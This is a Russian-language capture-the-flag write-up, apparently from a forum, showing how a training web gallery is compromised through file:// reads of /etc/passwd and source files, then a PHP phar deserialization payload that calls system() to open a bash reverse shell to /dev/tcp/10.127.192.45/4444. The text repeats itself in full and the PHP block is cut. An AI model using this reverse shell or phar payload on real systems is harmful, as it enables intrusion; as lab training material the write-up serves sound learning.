d1lya
13.03.2026, 06:39
Описание
Получите RCE на узле gallery.edu.stf (10.124.1.236).
Для получения флага выполните скрипт /home/rceflag.
Тестируем сайт, пробуем загрузить картинки и смотрим поведение.
Пытаемся загрузить вместо урла картинки
file:///etc/passwd
https://forum.antichat.xyz/attachments/29128155/1773367102322.png
Сразу отправляем запрос в burp в repeater для удобства, он нам понадобится еще ни раз.
https://forum.antichat.xyz/attachments/29128155/1773367146605.png
Переходим посмотреть что там за txt пришел в ответе.
https://forum.antichat.xyz/attachments/29128155/1773367172930.png
Пол успеха в кармане. Теперь пробуем найти файлы из первой подсказки ./classes.php, ./ajax.php.
Перебираем варианты, сработал
file:///var/www/html/classes.php
.
По новой полученной ссылки в ответе видим classes.php
https://forum.antichat.xyz/attachments/29128155/1773367248950.png
Проблема в строке usort($ImageArr, $SortFunc). В PHP второй параметр функции usort это имя функции, значит при большом желании мы можем вставить туда функцию system(), которая выполнит команду Linux.
Подсказка гласит:
создать phar-архив с объектом, который модифицирует переменные таким образом, чтобы они вызвали выполнение произвольного кода при десериализации.
Я поняла это так: когда PHP открывает файл через
phar://
он автоматически делает unserialize и нам нужно создать объект ImageSorting, где SortFunc будет "system". Тогда при уничтожении объекта выполнится
usort(..., "system")
. А вместо ImageArr попробуем запустить интерактивный shell
Код:
public $ImageArr = array("bash -c 'bash -i >& /dev/tcp/10.127.192.45/4444 0>&1'", "" , "");
Вместо 10.127.192.45 пишите свой IP (и порт, если будете использовать не 4444 для nc). IP можно найти по
ip a
.
У себя создаем файл php, например phar.php.
PHP:
& /dev/tcp/10.127.192.45/4444 0>&1'", ""];
public $SortFunc = "system";
}
$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('empty.txt', '');
$phar->setStub('');
$phar->setMetadata(new ImageSorting());
$phar->stopBuffering();
?>
Запускаем сборку phar файла
php -d phar.readonly=0 phar.php
Появился файл payload.phar.
Открываем порт 4444 (или другой вам удобный) и слушаем его
nc -lvnp 4444
(с папки где лежит payload.phar).
Готовый файл phar загружаем на сайт через форму загрузки.
https://forum.antichat.xyz/attachments/29128155/1773368199347.png
Берем ответ и формируем из него запрос
phar:///var/www/html/images/....txt
https://forum.antichat.xyz/attachments/29128155/1773368259415.png
Смотрим реакцию листенера - открылся шелл.
https://forum.antichat.xyz/attachments/29128155/1773368302445.png
Долгожданный запуск
./home/rceflag
и получение флага.
https://forum.antichat.xyz/attachments/29128155/1773368368138.png
Получите RCE на узле gallery.edu.stf (10.124.1.236).
Для получения флага выполните скрипт /home/rceflag.
Тестируем сайт, пробуем загрузить картинки и смотрим поведение.
Пытаемся загрузить вместо урла картинки
file:///etc/passwd
https://forum.antichat.xyz/attachments/29128155/1773367102322.png
Сразу отправляем запрос в burp в repeater для удобства, он нам понадобится еще ни раз.
https://forum.antichat.xyz/attachments/29128155/1773367146605.png
Переходим посмотреть что там за txt пришел в ответе.
https://forum.antichat.xyz/attachments/29128155/1773367172930.png
Пол успеха в кармане. Теперь пробуем найти файлы из первой подсказки ./classes.php, ./ajax.php.
Перебираем варианты, сработал
file:///var/www/html/classes.php
.
По новой полученной ссылки в ответе видим classes.php
https://forum.antichat.xyz/attachments/29128155/1773367248950.png
Проблема в строке usort($ImageArr, $SortFunc). В PHP второй параметр функции usort это имя функции, значит при большом желании мы можем вставить туда функцию system(), которая выполнит команду Linux.
Подсказка гласит:
создать phar-архив с объектом, который модифицирует переменные таким образом, чтобы они вызвали выполнение произвольного кода при десериализации.
Я поняла это так: когда PHP открывает файл через
phar://
он автоматически делает unserialize и нам нужно создать объект ImageSorting, где SortFunc будет "system". Тогда при уничтожении объекта выполнится
usort(..., "system")
. А вместо ImageArr попробуем запустить интерактивный shell
Код:
public $ImageArr = array("bash -c 'bash -i >& /dev/tcp/10.127.192.45/4444 0>&1'", "" , "");
Вместо 10.127.192.45 пишите свой IP (и порт, если будете использовать не 4444 для nc). IP можно найти по
ip a
.
У себя создаем файл php, например phar.php.
PHP:
& /dev/tcp/10.127.192.45/4444 0>&1'", ""];
public $SortFunc = "system";
}
$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('empty.txt', '');
$phar->setStub('');
$phar->setMetadata(new ImageSorting());
$phar->stopBuffering();
?>
Запускаем сборку phar файла
php -d phar.readonly=0 phar.php
Появился файл payload.phar.
Открываем порт 4444 (или другой вам удобный) и слушаем его
nc -lvnp 4444
(с папки где лежит payload.phar).
Готовый файл phar загружаем на сайт через форму загрузки.
https://forum.antichat.xyz/attachments/29128155/1773368199347.png
Берем ответ и формируем из него запрос
phar:///var/www/html/images/....txt
https://forum.antichat.xyz/attachments/29128155/1773368259415.png
Смотрим реакцию листенера - открылся шелл.
https://forum.antichat.xyz/attachments/29128155/1773368302445.png
Долгожданный запуск
./home/rceflag
и получение флага.
https://forum.antichat.xyz/attachments/29128155/1773368368138.png